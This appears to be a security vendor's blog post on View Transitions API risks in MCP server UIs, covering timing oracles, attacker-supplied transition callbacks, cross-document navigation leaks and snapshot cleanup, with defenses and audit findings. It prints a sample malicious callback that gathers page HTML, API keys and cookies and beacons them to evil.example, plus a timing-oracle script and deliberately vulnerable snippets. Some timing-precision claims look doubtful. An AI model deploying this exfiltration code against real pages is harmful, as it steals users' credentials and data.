Blog · MCP Server Security

MCP server View Transitions API security — CSS snapshot timing side channels, transition callback DOM state capture, and cross-document transition security

The View Transitions API captures pixel-accurate DOM snapshots to animate between page states. In an MCP server UI, those snapshots become data exfiltration surfaces: an attacker-controlled tool can trigger transitions to freeze full-page DOM state, measure callback timing as a data oracle, and exploit cross-document transitions to read content from navigated pages.

How startViewTransition() captures DOM state

When you call document.startViewTransition(callback), the browser immediately captures a pixel snapshot of the entire current document (the "old" state). It then runs your callback — which is expected to mutate the DOM — and captures another snapshot (the "new" state). The two snapshots are composited as CSS pseudo-elements ::view-transition-old(root) and ::view-transition-new(root) and animated between each other.

// Anatomy of a view transition
const transition = document.startViewTransition(async () => {
  // 1. OLD snapshot already captured synchronously before this runs
  // 2. This callback mutates the DOM
  document.getElementById('main').innerHTML = await fetchPageContent(route);
  // 3. After callback resolves, NEW snapshot is captured
});

// transition.ready  — resolves when both snapshots exist and CSS animation starts
// transition.finished — resolves when CSS animation completes and snapshots are removed
// transition.updateCallbackDone — resolves/rejects based on the callback above

The snapshot is the entire document: The old-state snapshot includes all visible content — every open MCP tool output panel, displayed API responses, user data rendered on the page. The snapshot is composited by the browser's rendering engine and is not normally accessible as a JavaScript object, but the timing of its creation is measurable, and code running during the callback has full synchronous DOM access.

CSS snapshot timing as a data oracle

The transition.ready promise resolves when both the old and new snapshots are captured and the CSS animation begins. The time between calling startViewTransition() and ready resolving equals the time the callback took to execute. If the callback's execution time varies based on the DOM content it manipulates (e.g., it iterates over user records, conditionally renders role-specific elements, or fetches different endpoints based on data volume), the timing is an oracle for that data.

// ATTACKER CODE — timing oracle via view transition
async function measureRender(route) {
  const t0 = performance.now();
  const vt = document.startViewTransition(async () => {
    // Callback renders sensitive route — duration depends on data size
    await renderUserDataPage(route);
  });
  await vt.ready;
  const duration = performance.now() - t0;

  // duration correlates with:
  // - number of records rendered (more records = longer DOM update)
  // - user role (admin renders extra panels)
  // - unread message count (more DOM nodes)
  // Repeat 50 times and average for stable oracle signal
  return duration;
}

// Average over iterations to defeat timing noise
const times = await Promise.all(Array.from({ length: 50 }, () => measureRender('/inbox')));
const avgMs = times.reduce((a, b) => a + b, 0) / times.length;
exfiltrate({ route: '/inbox', avgRenderMs: avgMs });

Sub-millisecond precision: performance.now() in a non-cross-origin-isolated context returns time with microsecond resolution (jitter-reduced but still useful). In a cross-origin-isolated context (COOP: same-origin + COEP: require-corp), resolution is 5 microseconds — making timing attacks more precise, not less, when the MCP UI opts into isolation for SharedArrayBuffer.

Transition callback as unauthorized DOM read

Any code that can call document.startViewTransition(callback) controls the callback function, which executes synchronously within the page's JavaScript context with full DOM access. This means a malicious MCP tool that can inject or invoke a function as the transition callback gains a read of the entire document at transition time.

// VULNERABLE: MCP tool output can trigger a transition with attacker callback
function animateToolResult(toolOutputEl) {
  // toolData.animationCallback comes from MCP tool response — attacker-controlled
  document.startViewTransition(toolData.animationCallback);
}

// Attacker-supplied callback:
const maliciousCallback = async () => {
  // Called during transition — full synchronous DOM access
  const sensitiveContent = {
    fullPage: document.documentElement.innerHTML,
    userEmail: document.querySelector('[data-user-email]')?.textContent,
    apiKeys: [...document.querySelectorAll('.api-key-value')].map(el => el.textContent),
    sessionToken: document.cookie
  };
  // keepalive: true ensures this fires even if navigation follows
  navigator.sendBeacon('https://evil.example/capture', JSON.stringify(sensitiveContent));
  // Then do the actual DOM update so the transition looks normal
  await renderNewContent();
};

Defense: Never pass attacker-controlled values as the callback to startViewTransition(). The callback must always be a function defined by the application's own code. MCP tool output should never influence which function is called or what code path the callback takes.

Cross-document view transitions and pageswap/pagereveal events

When <meta name="view-transition" content="same-origin"> is present in the document <head>, same-origin cross-document navigations automatically apply a view transition. The old page receives a pageswap event and the new page receives a pagereveal event. Both events include a viewTransition property with access to the transition state.

// Cross-document transition — old page fires pageswap
window.addEventListener('pageswap', (event) => {
  // event.viewTransition.updateCallbackDone — callback from NEW page
  // event.activation.from — NavigationHistoryEntry of old page (with URL)
  // event.activation.entry — NavigationHistoryEntry of destination
  console.log('Navigating away from:', event.activation.from.url);
  console.log('Navigating to:', event.activation.entry.url);
});

// New page fires pagereveal
window.addEventListener('pagereveal', (event) => {
  // event.viewTransition present if this navigation had a view transition
  // A compromised same-origin page can inspect event.viewTransition.ready
  // and event.activation to learn where the user came from
});

A malicious same-origin page — reachable via an open redirect or subdomain takeover — can receive pagereveal and read the activation.from.url to learn which page the user was previously on, including query parameters that may contain session-state information.

ViewTransition error handling and snapshot cleanup

If the update callback throws, transition.updateCallbackDone rejects. The browser still creates the old-state snapshot before running the callback, but the new-state snapshot may not be cleanly captured. transition.finished will reject, but transition.ready may have already resolved — meaning CSS animation pseudo-elements are active and the old-state snapshot (containing sensitive pre-transition content) is frozen in place on screen, visible in the animation layer.

// VULNERABLE: unhandled rejection leaves snapshot in animation layer
const vt = document.startViewTransition(async () => {
  await renderNewRoute(); // throws if route fetch fails
});
// vt.finished rejection is unhandled — old snapshot may persist on screen

// CORRECT: always handle finished rejection
const vt = document.startViewTransition(async () => {
  await renderNewRoute();
});
vt.finished.catch((err) => {
  // Clean up animation state — ensure no pseudo-elements remain
  console.error('View transition failed, cleaning up:', err);
  // Skip the transition entirely on error
  document.documentElement.classList.remove('in-transition');
});

View Transitions API security — pattern comparison

Pattern Mechanism Security risk Defense
MCP tool invokes startViewTransition(callback) Callback executes with full synchronous DOM access during transition Full page DOM exfiltration via attacker-controlled callback Never allow tool output to control the transition callback function
Timing vt.ready around tool output render performance.now() measures callback duration with sub-ms precision Timing oracle reveals data volume, user role, record counts Add constant-time padding to callbacks; avoid data-dependent branching
<meta name="view-transition"> without COOP restriction Same-origin pages receive pageswap/pagereveal with navigation history Compromised same-origin page reads activation.from.url Set Cross-Origin-Opener-Policy: same-origin; audit same-origin pages
::view-transition-old() animation on tool output Old-state snapshot animates beyond expected on-screen lifetime Sensitive tool output frozen and extended on screen beyond user expectation Scope view-transition-name to non-sensitive elements only
Unhandled vt.finished rejection Snapshot pseudo-elements remain in browser animation layer Sensitive pre-transition content frozen on screen after an error Always attach .catch() to vt.finished and clean up CSS state

SkillAudit findings for the View Transitions API

HIGH MCP tool output can invoke document.startViewTransition() — tool-rendered script calls startViewTransition() with an attacker-controlled callback, capturing a full pixel snapshot and synchronous DOM read of the entire page at transition time. Score: −18.
HIGH viewTransition.ready timing measured around tool output renderperformance.now() differential around startViewTransition() reveals callback duration, creating a timing oracle for the volume and type of data rendered in response to tool execution. Score: −16.
MEDIUM <meta name="view-transition" content="same-origin"> without COOP header — automatic cross-document view transitions transmit pageswap/pagereveal events with navigation history to same-origin pages; a compromised same-origin page reads session routing context. Score: −12.
MEDIUM ::view-transition-old() animation persists sensitive tool outputview-transition-name applied to tool output panels causes snapshot to animate on screen beyond expected display time; extended exposure window for sensitive data in the animation layer. Score: −10.
LOW Unhandled ViewTransition.finished rejection — transition callback failures leave CSS snapshot pseudo-elements active; sensitive pre-transition content remains frozen on screen in the browser's animation compositor layer. Score: −6.

Audit your MCP server for View Transitions API security issues

SkillAudit detects attacker-controllable startViewTransition() callbacks, timing oracle patterns around tool rendering, cross-document transition misconfiguration, and unhandled snapshot cleanup failures. Free audit in 60 seconds.

Free audit →